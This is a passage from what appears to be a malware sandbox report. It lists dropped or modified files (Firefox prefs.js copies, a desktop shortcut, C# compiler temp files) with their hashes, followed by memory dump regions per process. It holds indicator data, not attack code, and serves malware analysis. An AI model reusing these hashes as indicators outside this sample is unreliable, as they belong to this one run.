                                                      5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\v82jw7ls.default-release\prefs-1.js
                                                      Filesize

                                                      9KB

                                                      MD5

                                                      ebb4346c62a28a078e131f9359098cac

                                                      SHA1

                                                      0487cbd4c3b27ecb9a63458d73d3e99ac6eaf16f

                                                      SHA256

                                                      99e404558652f3008032d51b5cf660df2aa8a6424569dd5204806df0eba8933e

                                                      SHA512

                                                      66c003cb047a729d2c6f7439c44b28ab747a52fc2a43ebbb5d1d78ffeb66500b8096d43b22d1955bfabe02789bb48f733162c62e278dcaa4a917e3978609f735

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\v82jw7ls.default-release\prefs-1.js
                                                      Filesize

                                                      11KB

                                                      MD5

                                                      9dff537235562ca01ac3ed14a12ed2fb

                                                      SHA1

                                                      0e1acf42d71809f3f0f288aee1c4ab31774e3159

                                                      SHA256

                                                      18760f2ac4062a1ea6ae8a8796b3fb5176151dba75c0d04341d855c5910b95ae

                                                      SHA512

                                                      d5dfd84090beaf50e2a79a08c0b543ac4939e5df1cff37223938d133b82ba435072704839a4b83ac47d560844581354cbabe6fbaa791922ec56a5d20c9cbfd5c

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\v82jw7ls.default-release\prefs-1.js
                                                      Filesize

                                                      15KB

                                                      MD5

                                                      901848abafbf2ed0f33b48a31251d9b8

                                                      SHA1

                                                      9da9f3aa894d5a7f405bf34c6a304667dd74420b

                                                      SHA256

                                                      45a12cb76555a2d3d309a67e2d706aada1530476c637650a205a443a5926dfeb

                                                      SHA512

                                                      0d103e3b6e047149622ed6744fdb2ce1815361eeaff8dff281cccd6c3d9518914f2f9c80d88a28d907c5a7a9798a43fc4a23967c23eb3fb939a83239c2b89531

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\v82jw7ls.default-release\prefs.js
                                                      Filesize

                                                      9KB

                                                      MD5

                                                      7400c08688c67f2df378ac16807b4e14

                                                      SHA1

                                                      c011737ef5272241a475de6b426850318175870a

                                                      SHA256

                                                      a281e6d660eb5fe358694ddc339d99f68c5365d0c4681346e18bd6c4dcd0db0c

                                                      SHA512

                                                      5dae4655097ca8bed7e8fe760aa000683b01fc0f161c91b6ef71bbf9be9d1d87a2e9a587cb9566920c399721e14d08fa6f4643b13c848b548f060f538f1d8c20

                                                      Download Submit

                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\v82jw7ls.default-release\prefs.js
                                                      Filesize

                                                      10KB

                                                      MD5

                                                      ad54932cc12c53ad7ef556155701cad1

                                                      SHA1

                                                      b6c119deeb5fb8b5c7b072a71528605c08156efd

                                                      SHA256

                                                      ed802697739c92a3160656d9a4ed168f79161a93f8306ab32c3435c6e06695a4

                                                      SHA512

                                                      c2b8691c5c481c8308e7fa4a5284f41aa91173b560d0243a7fbb14feda4c41c9fed0437710e7baad5bb13696fa75d2f61dd68057ad5c0f64f2c55f7308a7cba0

                                                      Download Submit

                                                    • C:\Users\Admin\Desktop\YCL.lnk
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      61101f410106f49fd5e5fde407ce006b

                                                      SHA1

                                                      f2bef129e1a99b3bea05aafd6f3e602bac94b672

                                                      SHA256

                                                      761935999c33363ef30ebcfec028599a71438f7bdef3289337c700e4fad3b88e

                                                      SHA512

                                                      53d4fe5900a6526ef8133830c7cccfb57521c7e2f710277db575764f5160d4c51447b07dcb842aab6778fc74bdf63356f7491dc1eca5e70e2b9273b418adfb11

                                                      Download Submit

                                                    • C:\Users\Admin\Desktop\YCL.lnk
                                                      Filesize

                                                      2KB

                                                      MD5

                                                      ecad8885d14730cd25dfa8a8890526b1

                                                      SHA1

                                                      a21eedea7d8dd555397565c4dd7b33007cbf9d52

                                                      SHA256

                                                      ceec53d9f86c21cf805ecce531b30655de0bc06be6426130efc75d04856bc94a

                                                      SHA512

                                                      fa4576622d01d948a305237fd955af8a8fc19da9f10ab3d73b6c19f98a358ee0f67fb8ecd6969d7a24fb9d662f44884236602184bda1d3bdeb35cd8512a5935a

                                                      Download Submit

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\of0b1oe0\CSCEDAC5CC370D94E329C38257BC740CFAA.TMP
                                                      Filesize

                                                      652B

                                                      MD5

                                                      4eebe2d8eb2097ac74f959827d788c64

                                                      SHA1

                                                      de11dd6faa009cc70cc19039299e3469014d89b3

                                                      SHA256

                                                      a410fc98d97516f74834ff5ac197dc22fe575155fceba156521933d86d2a562d

                                                      SHA512

                                                      14a1b1feb73419eb1404a7b0a5606907960cf6518061dad180badcecc9f65f06ec3f4d715c9e430a29cc66f0271d34a4cd85e98eebc56297b2f8307d3cb2cac5

                                                      Download Submit

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\of0b1oe0\of0b1oe0.0.cs
                                                      Filesize

                                                      941B

                                                      MD5

                                                      1809fe3ba081f587330273428ec09c9c

                                                      SHA1

                                                      d24ea2ea868ae49f46c8a7d894b7fda255ec1cd9

                                                      SHA256

                                                      d07a0c5fdf0862325608791f92273e0fc411c294f94d757f1ff0303ba5e03457

                                                      SHA512

                                                      e662420fc93a5cefd657f7701432924e6a06482ea147ad814d5e20b16b2f3c13ed2cc6b9caf24c22b7a5b24ad0aa1d216c5804c46d2250522cfc2cadc69f9e28

                                                      Download Submit

                                                    • \??\c:\Users\Admin\AppData\Local\Temp\of0b1oe0\of0b1oe0.cmdline
                                                      Filesize

                                                      369B

                                                      MD5

                                                      ee5bbe777dca1ad99e592d77d8e46b2a

                                                      SHA1

                                                      d01068678150eccb5b53fd184da12086c525a9e1

                                                      SHA256

                                                      ea413ba03a87cb9d95568f07d3297d9b2169b5457417894e4964043d370233f0

                                                      SHA512

                                                      89fea1c7795d6b0209501efa216e058750bb6c92992dc982dd07d767b364d920d029cf8c75a835e25c5599418e07f9970b19112e46ef5b59e063b1b911eb2ab6

                                                      Download Submit

                                                    • memory/220-225-0x0000000000E00000-0x000000000180A000-memory.dmp

                                                      Filesize

                                                      10.0MB

                                                      Download

                                                    • memory/220-189-0x0000000000E00000-0x000000000180A000-memory.dmp

                                                      Filesize

                                                      10.0MB

                                                      Download

                                                    • memory/220-226-0x0000000000E00000-0x000000000180A000-memory.dmp

                                                      Filesize

                                                      10.0MB

                                                      Download

                                                    • memory/220-230-0x0000000000E00000-0x000000000180A000-memory.dmp

                                                      Filesize

                                                      10.0MB

                                                      Download

                                                    • memory/220-415-0x0000017FBE6A0000-0x0000017FBE6A8000-memory.dmp

                                                      Filesize

                                                      32KB

                                                      Download

                                                    • memory/556-160-0x0000000005E20000-0x0000000006174000-memory.dmp

                                                      Filesize

                                                      3.3MB

                                                      Download

                                                    • memory/672-1026-0x0000025920F60000-0x0000025920F72000-memory.dmp

                                                      Filesize

                                                      72KB

                                                      Download

                                                    • memory/672-2343-0x000002593BB80000-0x000002593C0A8000-memory.dmp

                                                      Filesize

                                                      5.2MB

                                                      Download

                                                    • memory/672-1027-0x0000025921310000-0x0000025921320000-memory.dmp

                                                      Filesize

                                                      64KB

                                                      Download

                                                    • memory/1268-198-0x0000000000210000-0x00000000006BF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/1268-201-0x0000000000210000-0x00000000006BF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/1276-353-0x0000000000400000-0x00000000008A9000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/1276-276-0x0000000000400000-0x00000000008A9000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/1396-4-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

                                                      Filesize

                                                      136KB

                                                      Download

                                                    • memory/1396-6-0x0000000005730000-0x0000000005796000-memory.dmp

                                                      Filesize

                                                      408KB

                                                      Download

                                                    • memory/1396-16-0x00000000058A0000-0x0000000005BF4000-memory.dmp

                                                      Filesize

                                                      3.3MB

                                                      Download

                                                    • memory/1396-3-0x0000000004F90000-0x00000000055B8000-memory.dmp

                                                      Filesize

                                                      6.2MB

                                                      Download

                                                    • memory/1396-5-0x00000000056C0000-0x0000000005726000-memory.dmp

                                                      Filesize

                                                      408KB

                                                      Download

                                                    • memory/1396-18-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

                                                      Filesize

                                                      304KB

                                                      Download

                                                    • memory/1396-19-0x0000000007490000-0x0000000007B0A000-memory.dmp

                                                      Filesize

                                                      6.5MB

                                                      Download

                                                    • memory/1396-20-0x00000000062A0000-0x00000000062BA000-memory.dmp

                                                      Filesize

                                                      104KB

                                                      Download

                                                    • memory/1396-22-0x0000000007230000-0x00000000072C6000-memory.dmp

                                                      Filesize

                                                      600KB

                                                      Download

                                                    • memory/1396-2-0x00000000047C0000-0x00000000047F6000-memory.dmp

                                                      Filesize

                                                      216KB

                                                      Download

                                                    • memory/1396-24-0x00000000080C0000-0x0000000008664000-memory.dmp

                                                      Filesize

                                                      5.6MB

                                                      Download

                                                    • memory/1396-17-0x0000000005D70000-0x0000000005D8E000-memory.dmp

                                                      Filesize

                                                      120KB

                                                      Download

                                                    • memory/1396-23-0x00000000071C0000-0x00000000071E2000-memory.dmp

                                                      Filesize

                                                      136KB

                                                      Download

                                                    • memory/1900-449-0x00000000008F0000-0x0000000000D9F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/1900-450-0x00000000008F0000-0x0000000000D9F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/2396-275-0x0000000000510000-0x0000000001145000-memory.dmp

                                                      Filesize

                                                      12.2MB

                                                      Download

                                                    • memory/2396-278-0x0000000000510000-0x0000000001145000-memory.dmp

                                                      Filesize

                                                      12.2MB

                                                      Download

                                                    • memory/2396-304-0x0000000000510000-0x0000000001145000-memory.dmp

                                                      Filesize

                                                      12.2MB

                                                      Download

                                                    • memory/2396-252-0x0000000000510000-0x0000000001145000-memory.dmp

                                                      Filesize

                                                      12.2MB

                                                      Download

                                                    • memory/2452-961-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/2452-963-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/2760-31-0x00000000005D0000-0x0000000000A7F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/2760-47-0x00000000005D0000-0x0000000000A7F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/2824-297-0x0000000000400000-0x000000000042F000-memory.dmp

                                                      Filesize

                                                      188KB

                                                      Download

                                                    • memory/3204-936-0x00000000007C0000-0x0000000000C5B000-memory.dmp

                                                      Filesize

                                                      4.6MB

                                                      Download

                                                    • memory/3204-931-0x00000000007C0000-0x0000000000C5B000-memory.dmp

                                                      Filesize

                                                      4.6MB

                                                      Download

                                                    • memory/3336-219-0x0000000000B70000-0x0000000000BE8000-memory.dmp

                                                      Filesize

                                                      480KB

                                                      Download

                                                    • memory/3524-417-0x000000000C820000-0x000000000D0A3000-memory.dmp

                                                      Filesize

                                                      8.5MB

                                                      Download

                                                    • memory/3544-223-0x0000000000400000-0x0000000000465000-memory.dmp

                                                      Filesize

                                                      404KB

                                                      Download

                                                    • memory/3544-221-0x0000000000400000-0x0000000000465000-memory.dmp

                                                      Filesize

                                                      404KB

                                                      Download

                                                    • memory/3592-117-0x0000000000E80000-0x000000000132F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/3592-105-0x0000000000E80000-0x000000000132F000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/3656-1285-0x00000000000B0000-0x0000000000110000-memory.dmp

                                                      Filesize

                                                      384KB

                                                      Download

                                                    • memory/3756-332-0x00000282B44A0000-0x00000282B44C2000-memory.dmp

                                                      Filesize

                                                      136KB

                                                      Download

                                                    • memory/3900-255-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/3900-254-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/4124-94-0x0000000005970000-0x0000000005CC4000-memory.dmp

                                                      Filesize

                                                      3.3MB

                                                      Download

                                                    • memory/4124-96-0x0000000005F00000-0x0000000005F4C000-memory.dmp

                                                      Filesize

                                                      304KB

                                                      Download

                                                    • memory/4204-4010-0x0000000000390000-0x0000000000831000-memory.dmp

                                                      Filesize

                                                      4.6MB

                                                      Download

                                                    • memory/4316-441-0x0000000000D10000-0x0000000001376000-memory.dmp

                                                      Filesize

                                                      6.4MB

                                                      Download

                                                    • memory/4316-439-0x0000000000D10000-0x0000000001376000-memory.dmp

                                                      Filesize

                                                      6.4MB

                                                      Download

                                                    • memory/4348-448-0x0000000000630000-0x0000000000941000-memory.dmp

                                                      Filesize

                                                      3.1MB

                                                      Download

                                                    • memory/4348-376-0x0000000000630000-0x0000000000941000-memory.dmp

                                                      Filesize

                                                      3.1MB

                                                      Download

                                                    • memory/4572-127-0x0000000005F90000-0x00000000062E4000-memory.dmp

                                                      Filesize

                                                      3.3MB

                                                      Download

                                                    • memory/4572-129-0x0000000006560000-0x00000000065AC000-memory.dmp

                                                      Filesize

                                                      304KB

                                                      Download

                                                    • memory/4784-135-0x0000000002980000-0x0000000002985000-memory.dmp

                                                      Filesize

                                                      20KB

                                                      Download

                                                    • memory/4784-133-0x0000000002980000-0x0000000002985000-memory.dmp

                                                      Filesize

                                                      20KB

                                                      Download

                                                    • memory/4956-235-0x0000000010000000-0x000000001001C000-memory.dmp

                                                      Filesize

                                                      112KB

                                                      Download

                                                    • memory/4956-229-0x0000000000400000-0x000000000042F000-memory.dmp

                                                      Filesize

                                                      188KB

                                                      Download

                                                    • memory/4956-227-0x0000000000400000-0x000000000042F000-memory.dmp

                                                      Filesize

                                                      188KB

                                                      Download

                                                    • memory/5012-64-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-162-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-358-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-975-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-279-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-256-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-437-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-485-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-63-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-905-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-224-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5012-48-0x0000000000D30000-0x00000000011DF000-memory.dmp

                                                      Filesize

                                                      4.7MB

                                                      Download

                                                    • memory/5228-839-0x0000000000F70000-0x00000000013CE000-memory.dmp

                                                      Filesize

                                                      4.4MB

                                                      Download

                                                    • memory/5228-838-0x0000000000F70000-0x00000000013CE000-memory.dmp

                                                      Filesize

                                                      4.4MB

                                                      Download

                                                    • memory/5228-923-0x0000000000F70000-0x00000000013CE000-memory.dmp

                                                      Filesize

                                                      4.4MB

                                                      Download

                                                    • memory/5228-913-0x0000000000F70000-0x00000000013CE000-memory.dmp

                                                      Filesize

                                                      4.4MB

                                                      Download

                                                    • memory/5228-833-0x0000000000F70000-0x00000000013CE000-memory.dmp

                                                      Filesize

                                                      4.4MB

                                                      Download

                                                    • memory/5424-889-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-904-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-899-0x000002B2E55B0000-0x000002B2E55D0000-memory.dmp

                                                      Filesize

                                                      128KB

                                                      Download

                                                    • memory/5424-890-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-932-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-901-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-903-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-902-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-898-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5424-900-0x00007FF78E480000-0x00007FF78ED44000-memory.dmp

                                                      Filesize

                                                      8.8MB

                                                      Download

                                                    • memory/5440-953-0x0000000000890000-0x0000000000900000-memory.dmp

                                                      Filesize

                                                      448KB

                                                      Download

                                                    • memory/5500-1087-0x0000000000400000-0x0000000000466000-memory.dmp

                                                      Filesize

                                                      408KB

                                                      Download

                                                    • memory/5500-955-0x0000000000400000-0x0000000000466000-memory.dmp

                                                      Filesize

                                                      408KB

                                                      Download

                                                    • memory/5500-1089-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

                                                      Filesize

                                                      20KB

                                                      Download

                                                    • memory/5500-956-0x0000000000400000-0x0000000000466000-memory.dmp

                                                      Filesize

                                                      408KB

                                                      Download